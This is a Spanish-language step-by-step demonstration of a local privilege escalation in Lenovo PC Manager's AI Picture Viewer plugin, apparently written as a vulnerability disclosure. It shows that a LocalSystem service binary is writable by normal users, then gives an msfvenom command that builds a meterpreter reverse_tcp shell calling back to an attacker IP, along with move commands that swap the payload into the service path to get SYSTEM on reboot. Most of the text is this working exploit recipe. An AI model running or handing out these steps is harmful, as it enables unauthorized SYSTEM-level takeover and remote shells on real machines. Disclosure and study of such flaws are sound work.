
Demostración paso a paso de una vulnerabilidad de escalada de privilegios local en Lenovo PC Manager, explotando permisos de archivo débiles en un servicio del sistema para obtener acceso SYSTEM mediante el reemplazo de un payload.
Encontrado accidentalmente mientras se aprendía sobre escalada de privilegios locales.
En cualquier versión de Lenovo PC Manager, las herramientas de Lenovo PC Manager tienen un defecto de permisos. Siempre que se descargue una herramienta, los usuarios normales tienen permiso F (permiso completo).

Dado que todas las versiones de las herramientas tienen problemas de permisos, los usuarios normales pueden obtener permisos de administrador. Aquí se utiliza el complemento AI Picture Viewer como demostración, porque tiene un servicio con permisos de sistema, que puede escalar a system. Antes de la versión 5.1.100.1102, Lenovo PC Manager tenía el complemento AI Picture Viewer.

Después de instalar el complemento AI Picture Viewer, existe un servicio persistente.
C:\ProgramData\Lenovo\devicecenter\modules\aipicture\5.1.80.8121\kpicservice.exe

Usar icacls para ver los permisos del archivo.

Se descubre que los permisos de los usuarios normales son I F (control total), y se crea un usuario normal.

Desde la perspectiva del ataque, cuando el grupo de usuarios Administradores no ha iniciado sesión, se deben cerrar todas las sesiones de usuario. Luego ingresamos al usuario user1 y usamos sc para ver el servicio; su usuario es LocalSystem.
sc qc KPICService_Lenovo

Aquí, C:\ProgramData\Lenovo\devicecenter\modules\aipicture\5.1.80.8121\kpicservice.exe es el archivo sobre el que los usuarios normales tienen control total.

Pero debido a restricciones, el servicio se ejecuta constantemente y los usuarios normales necesitan permisos de administrador para cerrarlo.
Se intenta un enfoque diferente: dado que los usuarios normales tienen permisos de control total, pueden mover el archivo. Al reiniciar, el servicio leerá la ruta de configuración y seguirá ejecutando kpicservice.exe como LocalSystem.
Ahora se pone en práctica. Primero, generamos un kpicservice.exe.
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.100.133 LPORT=4444 -f exe -o kpicservice.exe
Al mismo tiempo, se mueve el archivo original de su ruta y se reemplaza el kpicservice.exe original con el shell.
move C:\ProgramData\Lenovo\devicecenter\modules\aipicture\5.1.80.8121\kpicservice.exe kpicservice.exe
move Desktop\kpicservice.exe C:\ProgramData\Lenovo\devicecenter\modules\aipicture\5.1.80.8121\kpicservice.exe

Luego se reinicia el dispositivo. El servicio iniciará el kpicservice reemplazado en la ruta, obteniendo permisos de system.
